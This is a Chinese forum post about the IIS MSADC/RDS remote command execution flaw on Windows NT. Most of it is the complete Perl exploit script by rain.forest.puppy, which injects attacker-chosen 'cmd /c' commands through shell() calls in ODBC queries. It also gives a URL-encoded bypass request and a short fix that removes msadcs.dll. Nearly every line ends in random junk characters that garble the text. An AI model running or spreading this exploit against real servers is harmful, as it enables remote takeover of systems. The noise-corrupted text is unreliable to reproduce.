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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) S!{t6'8K  
%okzOKKX  
涉及程序: Zatf9yGD  
Microsoft NT server KFZm`,+69  
6{qIU}!  
描述: 0q rqg]  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 Y4IGDY*  
5 |/9}^T  
详细: Ez{MU@Fk  
如果你没有时间读详细内容的话,就删除: ql<rU@  
c:\Program Files\Common Files\System\Msadc\msadcs.dll b~BIz95  
有关的安全问题就没有了。 Z@gnsPN^r  
wZh:F !  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 Bb{!Yh].:A  
>*$;  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 Ys8SDlMo  
关于利用ODBC远程漏洞的描述,请参看: *z'yk*  
}CxvT`/  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm OMk5{-8B  
VzJ5.mRQ  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 U4G}DCU  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp Tg3!Rq55  
}qjCTEs}  
这里不再论述。 ""svDfy$  
iE.-FZc  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: )wVIb)`R>Y  
:SV>+EDY   
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset $0^P0RAH  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! {7Mj P+\  
!,Zp? g)  
V3mAvmx  
#将下面这段保存为txt文件,然后: "perl -x 文件名" C>Is1i^9  
%c)[ kAU!  
#!perl B cj/y4"  
# pb0E@C/R  
# MSADC/RDS 'usage' (aka exploit) script ]xd^%q*  
# u =gt<1U  
# by rain.forest.puppy 1b9hE9a{j  
# 6bBdIqGb}  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 'lZ.j&  
# beta test and find errors! V\K<$?oUb  
/=?ETth @  
use Socket; use Getopt::Std; U.T|   
getopts("e:vd:h:XR", \%args); 8j1ekv  
UhmTr[&  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; vVT?h  
-6 sW6;Q  
if (!defined $args{h} && !defined $args{R}) { 2u?zO7W)-L  
print qq~ @DC)]C2  
Usage: msadc.pl -h <host> { -d <delay> -X -v } k n8N,,+  
-h <host> = host you want to scan (ip or domain) m+ itno  
-d <seconds> = delay between calls, default 1 second X bkb5EkA  
-X = dump Index Server path table, if available j8 C8X$  
-v = verbose _#o' +_Z  
-e = external dictionary file for step 5 }1-I[q6  
V[a[i>,Z  
Or a -R will resume a command session >"3>fche  
XN,,cU  
~; exit;} F^!mI7Z|(2  
@/%{15s.  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; <5@PWrU?[[  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} 4e9q`~ sO  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} YwH./)r=  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); <Q<+4Y{R  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 3z;_KmM  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } c-j_INGm  
H(Ms^8Vs~:  
if (!defined $args{R}){ $ret = &has_msadc; X5g[ :QKP7  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} p4VSm a_(  
PNSMcakD  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" >6Lm9&}  
. "cmd /c "; Fl>]&x*~  
$in=<STDIN>; chomp $in; 6aOp[-Le  
$command="cmd /c " . $in ; z1,tJH0  
1px\K8  
if (defined $args{R}) {&load; exit;} nws"RcP+Z  
FbACTeB  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; A<YsfDa_d  
&try_btcustmr; j;K#]  
-Cid3~mX3  
print "\nStep 2: Trying to make our own DSN..."; u1K\@jlw  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; ^Jp*B;  
0=v{RQ;W4  
print "\nStep 3: Trying known DSNs..."; *Dr5O9Y  
&known_dsn; +pqM ^3t|y  
em2_pq9q  
print "\nStep 4: Trying known .mdbs..."; M,:Bl}  
&known_mdb; d`Q7"}uZ  
wb"RB A9  
if (defined $args{e}){ > 7`&0?  
print "\nStep 5: Trying dictionary of DSN names..."; f"&Xr!b.h  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } # k5#j4!b  
}fhHXGK.  
print "Sorry Charley...maybe next time?\n"; :6;e\UE  
exit; ?a/n<V '  
UEzi*"-v2  
############################################################################## ``?6=mO  
A~lIa$U$b  
sub sendraw { # ripped and modded from whisker PI5j"u UO  
sleep($delay); # it's a DoS on the server! At least on mine... _>bRv+RVR  
my ($pstr)=@_; TA}UY7v  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || EEf ]u7  
die("Socket problems\n"); R_D c)  
if(connect(S,pack "SnA4x8",2,80,$target)){ )"O{D`uX  
select(S); $|=1; 6&2LWaWMo$  
print $pstr; my @in=<S>; ;)!"Ty|  
select(STDOUT); close(S); G5]1s  
return @in; 9 -jO,l  
} else { die("Can't connect...\n"); }} {,O`rW_eS  
aw}+'(?8]  
############################################################################## \Rk$t7ZH  
"EftN5?/  
sub make_header { # make the HTTP request 1(`M~vFDK  
my $msadc=<<EOT p {%t q$}.  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 jOtX 60;  
User-Agent: ACTIVEDATA {w`:KR6o7  
Host: $ip _py2kjA6  
Content-Length: $clen heD,& OX  
Connection: Keep-Alive "2HY5 AE  
7S2C/f  
ADCClientVersion:01.06 Pl~P-n  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 P0\eB S  
H)JS0 G0  
--!ADM!ROX!YOUR!WORLD! Nh)[r x  
Content-Type: application/x-varg ,9/5T:2  
Content-Length: $reqlen #7z|mVzH  
+?N}Y{Y&  
EOT )}X5u%woV  
; $msadc=~s/\n/\r\n/g; oP$kRfXS!<  
return $msadc;} Z6=~1'<X  
L]zNf71RD  
############################################################################## c" Y!$'|Q  
q9}2  
sub make_req { # make the RDS request .1ddv4Hk  
my ($switch, $p1, $p2)=@_; >,g5Hkmqr  
my $req=""; my $t1, $t2, $query, $dsn; N <pbO#e  
k0&lu B%  
if ($switch==1){ # this is the btcustmr.mdb query l`rC0kJ]  
$query="Select * from Customers where City=" . make_shell(); dm^H5D/A  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . U'3Fou}  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} +0#JnqH"  
Hql5oA  
elsif ($switch==2){ # this is general make table query `facFt[\  
$query="create table AZZ (B int, C varchar(10))"; {fG|_+tl3o  
$dsn="$p1";} aV|k}H{wt  
Ku%6$C!,  
elsif ($switch==3){ # this is general exploit table query |>s v8/!  
$query="select * from AZZ where C=" . make_shell(); 44C+h    
$dsn="$p1";} )W9_qmYd"  
/| GH0L  
elsif ($switch==4){ # attempt to hork file info from index server NV!4(_~  
$query="select path from scope()"; Hhf72IX  
$dsn="Provider=MSIDXS;";} Wu{&;$  
=WRO\lgv.  
elsif ($switch==5){ # bad query DPPS?~Pq  
$query="select"; dM|g`rr E  
$dsn="$p1";} B8 2,.?  
}GRMZh_8  
$t1= make_unicode($query); h;n\*[fDc  
$t2= make_unicode($dsn); jyjQzt >\  
$req = "\x02\x00\x03\x00"; ^('cbl  
$req.= "\x08\x00" . pack ("S1", length($t1)); G `Izf1B`I  
$req.= "\x00\x00" . $t1 ; |9]PtgQv7  
$req.= "\x08\x00" . pack ("S1", length($t2)); ?N#[<kd  
$req.= "\x00\x00" . $t2 ; 6:RMU  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; g3a/;wl  
return $req;} .;%q/hP  
i ^S2%qz  
############################################################################## y*KC*/'"  
BHiOQ0Fs  
sub make_shell { # this makes the shell() statement {W'8T}q  
return "'|shell(\"$command\")|'";} 6e:P.HqjA  
|F~88j{VN  
############################################################################## T:#S86m  
k.>6nho`TV  
sub make_unicode { # quick little function to convert to unicode ,|x\MHd?t_  
my ($in)=@_; my $out;  ("F)  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } Kfd_uXL>  
return $out;}  tJ1-DoU  
4.k`[q8  
############################################################################## y$h"ty{g  
A5+5J_)*  
sub rdo_success { # checks for RDO return success (this is kludge) T/7vM6u  
my (@in) = @_; my $base=content_start(@in); !c_u-&b)  
if($in[$base]=~/multipart\/mixed/){ iwkJ~(5z  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} p)z-W(  
return 0;} `G0*l|m>  
n'3u] ~7^  
############################################################################## }MjQP R  
k1wr/G'H[  
sub make_dsn { # this makes a DSN for us {tmKCG  
my @drives=("c","d","e","f"); ,]U[W  
print "\nMaking DSN: "; X4 Y  
foreach $drive (@drives) { 4zX=3iBt  
print "$drive: "; iha9!kf  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . :s-EG;.  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" RK;;b~  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); %6Rp,M9=  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; EJ8I[(  
return 0 if $2 eq "404"; # not found/doesn't exist () <`t}FQ  
if($2 eq "200") { @4@PuWI0-  
foreach $line (@results) { <hMtE/05B  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} kyK'  
} return 0;} sr4jQo  
qhN[Dj(d  
############################################################################## q'2`0MRa  
@5GBuu^j  
sub verify_exists { 2b!j.T#u  
my ($page)=@_; *k!(ti[  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 9 c6'  
return $results[0];} RCCv>o  
qTS @D  
############################################################################## &! OGIYC(  
qlEFJ5;  
sub try_btcustmr { E{I) ]h  
my @drives=("c","d","e","f"); m6eFXP1U  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Q-jf8A]  
hLSTSD}  
foreach $dir (@dirs) { G#'Q~N  
print "$dir -> "; # fun status so you can see progress jF4csO=E  
foreach $drive (@drives) { (>mi!:  
print "$drive: "; # ditto UIz:=DJ  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; '6+Edu~Ho)  
$reqlenlen=length( "$reqlen" ); j;G[%gi6{  
$clen= 206 + $reqlenlen + $reqlen; ,FY-d$3)  
Wge ho  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); hRRkFz/0&  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} O%prD}x  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} 7|K3WuLL  
}E,jR=@  
############################################################################## Nr%(2[$ =  
0K/G&c?;=  
sub odbc_error { fqN75['n  
my (@in)=@_; my $base; "I@v&(Am;  
my $base = content_start(@in); U @)k3^  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this z'T=]- D  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; keaj3#O  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; NWb} OXK/  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; p %L1uwLG  
return $in[$base+4].$in[$base+5].$in[$base+6];} /MhS=gVxM  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; HLM;EZ  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . _/ct=  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 5cgo)/3M@}  
)tScc*=8  
############################################################################## ))p$vU3  
-.^3;-[  
sub verbose { ](_{,P  
my ($in)=@_; Ny.*G@&  
return if !$verbose; @W#fui<<}Y  
print STDOUT "\n$in\n";} fEB195#@9  
z;[gEA+I  
############################################################################## epn#qeX  
!O 4<I_EY{  
sub save { >dyhox2*"  
my ($p1, $p2, $p3, $p4)=@_; is9}ePC7Xu  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; 5GaoJ v  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; '7t|I6$ow  
close OUT;} [gpOu TW  
IKGTsA;  
############################################################################## tp%|AD"  
phr2X*Z/)Y  
sub load { ujiZM  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; L+8=P<]  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); UlnyTz~  
@p=<IN>; close(IN); ;i.I&*t  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); l<W*/}3  
$target= inet_aton($ip) || die("inet_aton problems"); *X~B-a|nJ  
print "Resuming to $ip ..."; .\Ul!&y  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; ^p$1D  
if($p[1]==1) { >6OCKl  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; sTt9'P`  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; >_-!zjO8u  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); ``+c`F?5  
if (rdo_success(@results)){print "Success!\n";} cES;bwQ  
else { print "failed\n"; verbose(odbc_error(@results));}} $p jf#P8U  
elsif ($p[1]==3){ ]{(l;k9=e  
if(run_query("$p[3]")){ 09G9nu;&{  
print "Success!\n";} else { print "failed\n"; }} /%62X{=>;  
elsif ($p[1]==4){ a#^_"GX  
if(run_query($drvst . "$p[3]")){ kNRyOUy  
print "Success!\n"; } else { print "failed\n"; }} =E&24  
exit;} {5U1`>  
'BqrJfv  
############################################################################## zpbcmQB*  
tp#Z@5=  
sub create_table { zwMQXI'k83  
my ($in)=@_; ,>&?ty9o  
$reqlen=length( make_req(2,$in,"") ) - 28; $[j-C9W  
$reqlenlen=length( "$reqlen" ); ]vRVo6@ k  
$clen= 206 + $reqlenlen + $reqlen; |^Y*~d<H  
my @results=sendraw(make_header() . make_req(2,$in,"")); 3aEt>x  
return 1 if rdo_success(@results); v>rqOI  
my $temp= odbc_error(@results); verbose($temp); *4-r`k|@>/  
return 1 if $temp=~/Table 'AZZ' already exists/; Ok*VQKyDLH  
return 0;} 7X(rLd 6#  
MhHr*!N"}  
############################################################################## 4,j4E@?pG9  
v$[ @]`  
sub known_dsn { ooomi"u  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go A(q~{  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", |VTWw<{LX  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", V/`#B$6  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); l{nB.m2  
o,g6JTh  
foreach $dSn (@dsns) { h~,x7]w6  
print "."; }/_('q@s\  
next if (!is_access("DSN=$dSn")); g!p+rq_f  
if(create_table("DSN=$dSn")){ sVE>=0TVP  
print "$dSn successful\n"; Z~duJsH  
if(run_query("DSN=$dSn")){ #x, ]D  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 2ZU@>W  
print "Something's borked. Use verbose next time\n";}}} print "\n";} _u#/u2<  
Qe7" Z  
############################################################################## <dq,y>  
$/4Wod*l  
sub is_access { 'wCS6_K  
my ($in)=@_; -$AjD?;   
$reqlen=length( make_req(5,$in,"") ) - 28; YnKFcEJrT  
$reqlenlen=length( "$reqlen" ); eA~J4k_  
$clen= 206 + $reqlenlen + $reqlen; )EhTM-1  
my @results=sendraw(make_header() . make_req(5,$in,"")); "g x5XW&  
my $temp= odbc_error(@results); @:S$|D~  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); TvQWdX=  
return 0;} p3V9ikyy  
:jZ*,d%1={  
############################################################################## X4Pm)N `  
Iu)L3_+  
sub run_query { 9c"0~7v  
my ($in)=@_; cFRSd }p=  
$reqlen=length( make_req(3,$in,"") ) - 28; z zulVj*  
$reqlenlen=length( "$reqlen" ); EZ:I$X  
$clen= 206 + $reqlenlen + $reqlen; $ 1ak I  
my @results=sendraw(make_header() . make_req(3,$in,"")); 1j oc<EI  
return 1 if rdo_success(@results); |M[v493\  
my $temp= odbc_error(@results); verbose($temp); WpZy](,  
return 0;} @).WIs  
lH6Cd/a  
############################################################################## ph Wc 8[Q  
w:m'uB%W  
sub known_mdb { ],BJ}~v,X  
my @drives=("c","d","e","f","g"); Xulh.: N}  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 0|],d?-h  
my $dir, $drive, $mdb; F7k4C2r  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; C\;;9  
fMWXo)rzj  
# this is sparse, because I don't know of many (1j(* ?2  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 2N6Pa(6  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", [{6&.v  
"\\system32\\certmdb.mdb", NUi{!<  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% pKO T  Qf  
H j>L>6>  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", E&RoaY0  
"\\cfusion\\cfapps\\forums\\forums_.mdb", [VfL v.8w  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", *T.={>HE8  
"\\cfusion\\cfapps\\security\\realm_.mdb", rg#qSrHp  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 8r7/IGFg  
"\\cfusion\\database\\cfexamples.mdb", |u?k-,uI9  
"\\cfusion\\database\\cfsnippets.mdb", jD&}}:Dj  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", k#l'ko/X  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", G:E+s(x  
"\\cfusion\\brighttiger\\database\\cleam.mdb",  @oe3i  
"\\cfusion\\database\\smpolicy.mdb", "cnG/{($*  
"\\cfusion\\database\cypress.mdb", +=n x|:no  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", #J%h!#3g  
"\\website\\cgi-win\\dbsample.mdb", v :'P"uU;4  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", K1m!S9d`x  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" /u" cl2|  
); #these are just S*~Na]nS0  
foreach $drive (@drives) { ]1/W8z%  
foreach $dir (@dirs){ ? RrC~7~  
foreach $mdb (@sysmdbs) { |R_xY=z?  
print "."; Li?{e+g  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ @Z3[ c[D)9  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; &lXx0 "-$  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ u;l6sdo  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; Og&0Z)%  
} else { print "Something's borked. Use verbose next time\n"; }}}}} SdEb[  
L<[,7V  
foreach $drive (@drives) { [)b/uR  
foreach $mdb (@mdbs) { [T$$od[.  
print "."; ve64-D  
if(create_table($drv . $drive . $dir . $mdb)){ PuUon6bZ  
print "\n" . $drive . $dir . $mdb . " successful\n"; D7Rbho<  
if(run_query($drv . $drive . $dir . $mdb)){ a$ +e8>  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; a9mr-`<  
} else { print "Something's borked. Use verbose next time\n"; }}}}  d'**wh,  
} h0y\,iWXb  
S`'uUvAA  
############################################################################## Ggxrj'r  
BIb{<tG^N  
sub hork_idx { "6[Ax{cM  
print "\nAttempting to dump Index Server tables...\n"; KweHY,  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; ek+8hnkh  
$reqlen=length( make_req(4,"","") ) - 28; ~' PS|  
$reqlenlen=length( "$reqlen" ); K>DnD0  
$clen= 206 + $reqlenlen + $reqlen; ?j^?@%f0  
my @results=sendraw2(make_header() . make_req(4,"","")); `*uuB;  
if (rdo_success(@results)){ I?:+~q}lZr  
my $max=@results; my $c; my %d; %(O^as  
for($c=19; $c<$max; $c++){ K4VPmkG  
$results[$c]=~s/\x00//g; cwDD(j  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; eBLHT  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; <O`q3u'l  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; '%JMnU  
$d{"$1$2"}="";} RmCn&-i  
foreach $c (keys %d){ print "$c\n"; } 5.+$v4  
} else {print "Index server doesn't seem to be installed.\n"; }} +Fkx")  
*$WiJ3'(m  
############################################################################## ?tal/uC  
`rOe5Zp$  
sub dsn_dict { ;M(ehX  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 6|(7G64{  
while(<IN>){ _UbR8  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";  onS{  
next if (!is_access("DSN=$dSn")); `5~o=g  
if(create_table("DSN=$dSn")){ 8Vg`;_-  
print "$dSn successful\n"; EC\rh](d 1  
if(run_query("DSN=$dSn")){ v#AO\zYKd  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { T_;G))q'  
print "Something's borked. Use verbose next time\n";}}} DrVbx  
print "\n"; close(IN);} F4aJr%!\6S  
Zj /H3,7  
############################################################################## y(p:)Iv  
"b+3 &i|  
sub sendraw2 { # ripped and modded from whisker ud~VQXZo  
sleep($delay); # it's a DoS on the server! At least on mine... BYA=M*f  
my ($pstr)=@_; { &JurZ  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || }O-%kl  
die("Socket problems\n"); fxf GJNR  
if(connect(S,pack "SnA4x8",2,80,$target)){ HDfQ9__  
print "Connected. Getting data"; ">4[+'  
open(OUT,">raw.out"); my @in; k H( 3  
select(S); $|=1; print $pstr; 94>7-d  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} h.+,*9T\  
close(OUT); select(STDOUT); close(S); return @in; Pq_ApUZa  
} else { die("Can't connect...\n"); }} ^ _#gIT\  
S+\Mt+o  
############################################################################## YJtOdgG|q  
B )3SiU  
sub content_start { # this will take in the server headers ?;r7j V/`j  
my (@in)=@_; my $c; 4VL!U?dk  
for ($c=1;$c<500;$c++) { Se]t;7j  
if($in[$c] =~/^\x0d\x0a/){ a!6OE"?QQ  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 14)kKWG  
else { return $c+1; }}} <pa];k(IQL  
return -1;} # it should never get here actually *^$N $t/2  
e715)_HD  
############################################################################## 66y,{t  
f~(^|~ZT  
sub funky { oY#XWe8Om  
my (@in)=@_; my $error=odbc_error(@in); IEKX'+t'  
if($error=~/ADO could not find the specified provider/){ Z#E#P<&d  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; TlZlE^EE<  
exit;} >!ZyykAs  
if($error=~/A Handler is required/){ 7$!Bq#  
print "\nServer has custom handler filters (they most likely are patched)\n"; 'kONb  
exit;} u+i/CE#w  
if($error=~/specified Handler has denied Access/){ u/{_0-+P  
print "\nServer has custom handler filters (they most likely are patched)\n"; C&MqUj"]  
exit;}} }v|[h[cZ  
]r{ #268  
############################################################################## l9Cy30O6  
&wWGZ~T  
sub has_msadc { I>(z)"1  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); b*%WAVt 2T  
my $base=content_start(@results); iF2IR {h  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); C@:N5},]  
return 0;} *{n,4d\..  
fJN9+l  
######################## :~YyHX  
q|Tk+JH{5  
TbUkqABm  
解决方案: S>zKD  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll jC }u>AB  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 'k) P(H  
m`w6wz  
拿出来充数 哈哈
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